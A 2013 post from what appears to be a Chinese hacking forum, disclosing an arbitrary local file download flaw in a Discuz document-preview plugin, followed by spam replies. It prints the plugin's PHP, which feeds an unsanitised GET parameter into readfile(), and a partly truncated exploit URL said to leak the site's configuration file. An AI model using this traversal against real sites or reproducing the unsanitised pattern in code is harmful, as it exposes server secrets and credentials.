搜索
查看: 424|回复: 3

Discuz某插件任意本地下载漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2013-12-24 07:23:26 来自手机 | 显示全部楼层 |阅读模式
插件的下载地址

http://www.discuz.net/forum.php?mod=viewthread&tid=3169556
一个txt,word在线预览的插件
然后看代码:

  1. [AppleScript]
  2. $doc=$_GET['doc'];
  3. $doc="../../../".$doc;
  4. $filename=$_GET['filename'];   
  5. $ext=$_GET['ext'];
  6. //设置文件类型
  7. if($ext=='doc')  {$_ext="application/msword";}
  8. if($ext=='xls')  {$_ext="application/vnd.ms-excel";}
  9. if($ext=='ppt')  {$_ext="application/vnd.ms-powerpoint";}
  10. if($ext=='docx') {$_ext="application/vnd.openxmlformats-officedocument.wordprocessingml.template";}
  11. if($ext=='xlsx') {$_ext="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";}
  12. if($ext=='pptx') {$_ext="application/vnd.openxmlformats-officedocument.presentationml.presentation";}
  13. if($ext=='pdf')  {$_ext="application/pdf";}
  14. if($ext=='txt')  {$_ext="application/plain";}
  15. //设置文件头
  16. header('Content-Disposition: attachment; filename='.$filename);
  17. header('Content-Type:'.$_ext);
  18. header('Content-Length:'.filesize($doc));
  19. //读取文件
  20. readfile($doc);
  21. ?>

复制代码

$doc居然没经过任何处理就readfile了。。。

利用:
http://xxooxxoo.com/source/plugi ... _global_default.php

这样配置文件就爆了。
专业回帖 该用户已被删除
发表于 2013-12-24 07:27:49 | 显示全部楼层
小手一抖,钱钱到手!
854955425 该用户已被删除
发表于 2013-12-24 07:33:43 | 显示全部楼层
支持一下
尐徫 该用户已被删除
发表于 2013-12-24 14:02:52 | 显示全部楼层
小手一抖,钱钱到手!
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表